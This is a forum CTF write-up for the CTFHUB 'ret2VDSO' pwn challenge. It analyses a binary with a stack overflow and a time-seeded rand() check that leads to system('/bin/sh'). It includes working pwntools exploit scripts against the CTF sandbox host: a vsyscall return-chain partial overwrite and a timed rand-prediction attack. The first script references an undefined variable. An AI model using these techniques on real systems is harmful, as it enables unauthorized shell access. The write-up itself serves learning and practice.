首页
社区
课程
招聘
[原创][writeup]CTFHUB-ret2VDSO
2023-3-11 15:16 17368

[原创][writeup]CTFHUB-ret2VDSO

2023-3-11 15:16
17368

目录

目录


程序分析

保护检查

Arch: amd64-64-little<br>
RELRO: Partial RELRO<br>
Stack: No canary found<br>
NX: NX enabled<br>
PIE: PIE enabled<br>

IDA静态分析

伪代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int getint()
{
//buf大小为16字节
  char buf[16]; // [rsp+0h] [rbp-10h]
//仅允许用户输入8个字节
  read(0, buf, 8uLL);
  return atoi(buf);//将输入转为数字并返回
}
 
int menu()
{
  puts("------welcome------");
  puts("1.get gift");
  puts("2.overflow");
  puts("3.exit");
  puts("[+]give me your choice:");
  return getint();
}
 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int seed; // eax
  int inputNum; // ebx
  char buf[56]; // [rsp+0h] [rbp-50h] BYREF
  int choice; // [rsp+38h] [rbp-18h]
  int counter; // [rsp+3Ch] [rbp-14h]
 
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  counter = 2;
  do
  {
    if ( !counter )//如果counter为0则结束循环
      break;
    choice = menu();//获取用户输入
    if ( choice == 1 )
    {
      --counter;
      puts("input num:");
      seed = time(0LL);//将当前时间戳作为seed【不安全的引用】
      srand(seed);
      inputNum = getint();//获取用户输入【注意是先获取seed后才等待输入】
      if ( inputNum == rand() )//对比输入和rand结果,如果一致则直接getshell
        system("/bin/sh");
    }
    if ( choice == 2 )
    {
      --counter;
      puts("hello from ctfhub");
      read(0, buf, 0xD0uLL);//【栈溢出】
    }
  }
  while ( choice != 3 );//即使输入3也会再跑一次循环【逻辑错误】
  return 0;
}

汇编代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
.text:0000000000000A38     ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000000A38     public main
.text:0000000000000A38     main proc near                          ; DATA XREF: _start+1D↑o
.text:0000000000000A38
.text:0000000000000A38     buf= byte ptr -50h
.text:0000000000000A38     choice= dword ptr -18h
.text:0000000000000A38     counter= dword ptr -14h
.text:0000000000000A38
.text:0000000000000A38     ; __unwind {
.text:0000000000000A38     push    rbp
.text:0000000000000A39     mov     rbp, rsp
.text:0000000000000A3C     push    rbx
.text:0000000000000A3D     sub     rsp, 48h
.text:0000000000000A41     ; 8:   setvbuf(_bss_start, 0LL, 2, 0LL);
.text:0000000000000A41     mov     rax, cs:__bss_start
.text:0000000000000A48     mov     ecx, 0                          ; n
.text:0000000000000A4D     mov     edx, 2                          ; modes
.text:0000000000000A52     mov     esi, 0                          ; buf
.text:0000000000000A57     mov     rdi, rax                        ; stream
.text:0000000000000A5A     call    _setvbuf
.text:0000000000000A5A
.text:0000000000000A5F     ; 9:   setvbuf(stdin, 0LL, 1, 0LL);
.text:0000000000000A5F     mov     rax, cs:stdin@@GLIBC_2_2_5
.text:0000000000000A66     mov     ecx, 0                          ; n
.text:0000000000000A6B     mov     edx, 1                          ; modes
.text:0000000000000A70     mov     esi, 0                          ; buf
.text:0000000000000A75     mov     rdi, rax                        ; stream
.text:0000000000000A78     call    _setvbuf
.text:0000000000000A78
.text:0000000000000A7D     ; 10:   v8 = 2;
.text:0000000000000A7D     mov     [rbp+counter], 2
.text:0000000000000A84     jmp     loc_B10
.text:0000000000000A84
.text:0000000000000A89     ; ---------------------------------------------------------------------------
.text:0000000000000A89     ; 15:     choice = getInput();
.text:0000000000000A89
.text:0000000000000A89     loc_A89:                                ; CODE XREF: main+DC↓j
.text:0000000000000A89     mov     eax, 0
.text:0000000000000A8E     call    printMenu                       ; 打印菜单并获取用户输入数字
.text:0000000000000A8E                                             ; 1:getGift,判断用户输入和随机数是否相同
.text:0000000000000A8E                                             ; 2:overflow,栈溢出
.text:0000000000000A8E                                             ; 3:结束
.text:0000000000000A8E
.text:0000000000000A93     mov     [rbp+choice], eax
.text:0000000000000A96     ; 16:     if ( choice == 1 )
.text:0000000000000A96     cmp     [rbp+choice], 1
.text:0000000000000A9A     jnz     short loc_ADE
.text:0000000000000A9A
.text:0000000000000A9C     ; 18:       --v8;
.text:0000000000000A9C     sub     [rbp+counter], 1               
; ↓↓↓↓↓↓↓↓↓↓用户输入为1,getGift↓↓↓↓↓↓↓↓↓↓
.text:0000000000000AA0     ; 19:       puts("input num:");
.text:0000000000000AA0     lea     rdi, aInputNum                  ; "input num:"
.text:0000000000000AA7     call    _puts
.text:0000000000000AA7
.text:0000000000000AAC     ; 20:       seed = time(0LL);
.text:0000000000000AAC     mov     edi, 0                          ; timer
.text:0000000000000AB1     call    _time
.text:0000000000000AB1
.text:0000000000000AB6     ; 21:       srand(seed);
.text:0000000000000AB6     mov     edi, eax                        ; seed
.text:0000000000000AB8     call    _srand
.text:0000000000000AB8
.text:0000000000000ABD     ; 22:       inputNum = getInputNumber();
.text:0000000000000ABD     mov     eax, 0
.text:0000000000000AC2     call    getInputNumber
.text:0000000000000AC2
.text:0000000000000AC7     mov     ebx, eax
.text:0000000000000AC9     ; 23:       if ( inputNum == rand() )
.text:0000000000000AC9     call    _rand
.text:0000000000000AC9
.text:0000000000000ACE     cmp     ebx, eax
.text:0000000000000AD0     jnz     short loc_ADE
.text:0000000000000AD0
.text:0000000000000AD2     ;system("/bin/sh");getShell代码位于mainAD2处
.text:0000000000000AD2     lea     rdi, command                    ; "/bin/sh"
.text:0000000000000AD9     call    _system                        
; ↑↑↑↑↑↑↑↑↑↑↑用户输入为1:getGift↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:0000000000000AD9
.text:0000000000000ADE     ; 26:     if ( choice == 2 )
.text:0000000000000ADE
.text:0000000000000ADE     loc_ADE:                                ; CODE XREF: main+62↑j
.text:0000000000000ADE                                             ; main+98↑j
.text:0000000000000ADE     cmp     [rbp+choice], 2
.text:0000000000000AE2     jnz     short loc_B0A                  
; ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓用户输入为2:overflow↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
.text:0000000000000AE2
.text:0000000000000AE4                               ; 28:       --v8;
.text:0000000000000AE4     sub     [rbp+counter], 1
.text:0000000000000AE8     ; 29:       puts("hello from ctfhub");
.text:0000000000000AE80    lea     rdi, aHelloFromCtfhu            ; "hello from ctfhub"
.text:0000000000000AEF     call    _puts
.text:0000000000000AEF
.text:0000000000000AF4     ; 30:       read(0, buf, 0xD0uLL);
.text:0000000000000AF4     lea     rax, [rbp+buf]
.text:0000000000000AF8     mov     edx, 0D0h                       ; nbytes
.text:0000000000000AFD     mov     rsi, rax                        ; buf
.text:0000000000000B00     mov     edi, 0                          ; fd
.text:0000000000000B05     call    _read                          
; ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑用户输入为2:overflow↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:0000000000000B05
.text:0000000000000B0A                               ; 33:   while ( choice != 3 );
.text:0000000000000B0A
.text:0000000000000B0A    loc_B0A:                                ; CODE XREF: main+AA↑j
.text:0000000000000B0A    cmp     [rbp+choice], 3
.text:0000000000000B0E    jz      short loc_B1C
.text:0000000000000B0E
.text:0000000000000B10    ; 13:     if ( !v8 )
.text:0000000000000B10
.text:0000000000000B10    loc_B10:                                ; CODE XREF: main+4C↑j
.text:0000000000000B10    cmp     [rbp+counter], 0
.text:0000000000000B14    ; 14:       break;
.text:0000000000000B14    jnz     loc_A89
.text:0000000000000B14
.text:0000000000000B1A    jmp     short loc_B1D
.text:0000000000000B1A
.text:0000000000000B1C    ; ---------------------------------------------------------------------------
.text:0000000000000B1C
.text:0000000000000B1C    loc_B1C:                                ; CODE XREF: main+D6↑j
.text:0000000000000B1C    nop
.text:0000000000000B1C
.text:0000000000000B1D    ; 34:   return 0;
.text:0000000000000B1D
.text:0000000000000B1D    loc_B1D:                                ; CODE XREF: main+E2↑j
.text:0000000000000B1D    mov     eax, 0
.text:0000000000000B22    add     rsp, 48h
.text:0000000000000B26    pop     rbx
.text:0000000000000B27    pop     rbp
.text:0000000000000B28    retn
.text:0000000000000B28    ; } // starts at A38
.text:0000000000000B28
.text:0000000000000B28                               main endp

GDB调试分析

以下是main函数初始化完后的栈构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
00:0000│ rsp 0x7fffffffdd00 ◂— 0xd30 /* '0\r' */
01:0008│     0x7fffffffdd08 —▸ 0x7fffffffe1c9 ◂— 0x29aea5211c50d76b
02:0010│     0x7fffffffdd10 —▸ 0x7ffff7fc1000 ◂— jg     0x7ffff7fc1047 //此处是VDSO基址
03:0018│     0x7fffffffdd18 ◂— 0x10101000000
04:0020│     0x7fffffffdd20 ◂— 0x2
05:0028│     0x7fffffffdd28 ◂— 0x78bfbff
06:0030│     0x7fffffffdd30 —▸ 0x7fffffffe1d9 ◂— 0x34365f363878 /* 'x86_64' */
07:0038│     0x7fffffffdd38 ◂— 0x64 /* 'd' */
08:0040│     0x7fffffffdd40 ◂— 0x1000
09:0048│     0x7fffffffdd48 ◂— 0x0
0a:0050│ rbp 0x7fffffffdd50 ◂— 0x1
0b:0058│     0x7fffffffdd58 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov    edi, eax
0c:0060│     0x7fffffffdd60 ◂— 0x0
0d:0068│     0x7fffffffdd68 —▸ 0x555555400a38 (main) ◂— 0xec834853e5894855 //main函数起点,a38处

分析总结

除了Canary之外的保护都开了,由于开启了PIE无法直接获悉具体指令地址,所以无法直接构建ROP<br>

根据IDA静态分析可知

  • main函数分支 1 中存在不安全的引用以及system(/bin/sh)调用
  • main函数分支 2 中存在栈溢出漏洞
  • main函数分支 3 存在逻辑错误

根据汇编分析得知

system调用位于main函数中低2字节为0x0AD2

结合调试分析的栈构造可知

位于RBP-0x18处是main函数地址<br>
位于RSP+0x10处是VDSO基址

漏洞利用及原理

可利用漏洞

  • 栈溢出漏洞
  • 不安全的srand->seed引用

    1.栈溢出利用

    根据分析可知以下三个关键点
  • main分支2中存在栈溢出并且足以覆盖至RBP-0x80
  • RBP-0x18处为main函数地址
  • system("/bin/sh")调用位于main函数末2字节0xAD2

    利用思路

    填充payload至RBP,寻找retGadget并填充至RBP+0x8RBP+0x10处,使用Partial Write覆写位于RBP+0x18处的main函数末2字节为0x0AD2,使main函数结束后连续ret至system调用处并成功getShell;
    但是由于程序开启了PIE保护,并且没有可泄露地址的漏洞存在,所以常规ROPGadget无法使用,考虑使用vsyscall作为retGadget<br>

    利用原理

    vsyscall 是第一种也是最古老的一种用于加快系统调用的机制,它是Linux内核在用户空间映射的一块包含一些变量和系统调用实现的内存页,对于X86_64的架构可以在 Linux 内核的 文档 找到关于这一内存区域的信息:<br>
    ffffffffff600000 - ffffffffffdfffff (=8 MB) vsyscalls<br>

 

或在GDB中 vmmap<br>
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]


 

cat /proc/1/maps | grep vsyscal<br>
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]


 

对于这个实现方法,成功在本地打通并且getShell,但是在远程却并不适用,题目名叫做Ret2VDSO,直接使用Vsyscall我也觉得应该不是出题人本意,但是我并没有完全理解VDSO和该程序的利用,也没有找到相关类似题目的WP,根据我对vsyscallvdso的理解推测或许是靶机上压根就没有vsyscall,所以对于栈溢出的利用仅到此为止;

补充-爆破VDSO基址

我曾尝试爆破VDSO基址,并加上0x5FC作为偏移来作为RetGadGet,但是这个方法不论是在远程还是本地都没成功,原因是在x64下,该地址有3个字节也既12位是随机的,不同于x32下仅有1字节,爆破概率是1/256;在本程序中爆破概率低达1/16777216,在绞尽脑汁想不出如何通过栈溢出来打通该程序时,确实抱着侥幸尝试过爆破VDSO基址,但不论本地还是远程最终都没能打通,即使打通了本地,也许我找的VDSO文件的ret偏移0x5FC在远程上也并不适用,所以我最终放弃了

2.srand(seed)的不安全引用

根据分析可知以下三点

  • main函数中根据rand生成的数字和用户输入数字比对,若相等则调用system("/bin/sh")
  • 用户输入仅允许输入8位数字
  • rand的seed是根据time(0)生成的

    利用思路

    编写C程序提前生成出下一次结果小于9位数时间戳rand结果,在EXP中检查
    time()==targetTime后发出rand结果,使判断成功并且getShell<br>

利用原理

由于程序中的seed根据time()来生成,所以这是可以被预估的,只需要提前预估未来的某一个符合rand结果小于9位数用户可输入的时间戳并且等时间到时发送内容即可

Exploit

1.使用栈溢出漏洞GetShell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
prog = "./ret2vdso"
 
local = False
context(os='linux', arch='amd64', log_level='debug')
 
if local:
    p = process(prog)
    #gdb.attach(p,"b *main+0x7E \x0a c \x0a")
    #sleep(1)
else:
    p = remote("challenge-580595dffc0d543f.sandbox.ctfhub.com",25533)
 
 
vsys = 0xffffffffff600000
payload = b"\x00"*88
payload += p64(vsys)*2 + p16(0xAD2)
r.sendafter("[+]give me your choice:\n", "2")
r.sendafter("hello from ctfhub\n",payload)
r.interactive()

2.使用不安全的seed引用Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
 
int main(){
    int randNum = 99999999+1;
    long cTime = time(0)+15;
    while(randNum > 99999999){
        srand(cTime);
        randNum = rand();
        if(randNum <= 99999999){
            break;
        }
        cTime = cTime+1;
    }
    printf("Time:%ld\n",cTime);
    printf("rand:%d\n",randNum);
    printf("rand:0x%x\n",randNum);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from time import *
 
prog = "./ret2vdso"
 
local = False
context(os='linux', arch='amd64', log_level='debug')
 
if local:
    p = process(prog)
    #gdb.attach(p,"b *main+0x7E \x0a c \x0a")
    #sleep(1)
else:
    p = remote("challenge-580595dffc0d543f.sandbox.ctfhub.com",25533)
 
targetTime = 1678511159
targetRand = str(995880)
firstTime = 0
 
while True:
    if(int(time()) == targetTime+1):#为什么+1下面有解释,远程可能存在挖网络延迟之类影响所以可能无法一次打通,需要多次尝试
        p.sendafter("[+]give me your choice:\n","1") #此处需要注意在玩家选择分支1后time()就已经被调用
        firstTime = time()
        break;
 
p.recvuntil("input num:\n")
print("use Time : {}".format(time() - firstTime))#根据比对发现远程和本地两次发送数据间隔差距不大,但是在本地调试中却发现targetTime比程序调用的time要大1,所以在targetTime处+1
p.send(targetRand)
 
p.interactive()
p.close()

总结

关于VDSO

我对该机制的理解还是过于浅显,以至于无法用出题人希望的方式解出这道题,目 前这题作为遗留问题,在我理解深入后再回过头来思考这题的解法

笔记

查找VDSO文件

find / -name '*vdso*.so*'


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2023-3-13 09:48 被LeaMov编辑 ,原因: 上传样本,修改md格式
上传的附件:
收藏
点赞7
打赏
分享
最新回复 (3)
雪    币: 16428
活跃值: (59365)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2023-3-12 10:02
2
0
建议附件上传到论坛一份
雪    币: 8713
活跃值: (8610)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
r0Cat 7 2023-3-12 23:46
3
0
建议上传一下(如果还在) 不然样本很容易丢失 
雪    币: 515
活跃值: (2497)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
LeaMov 1 2023-3-13 09:46
4
0
r0Cat 建议上传一下(如果还在) 不然样本很容易丢失
好的
游客
登录 | 注册 方可回帖
返回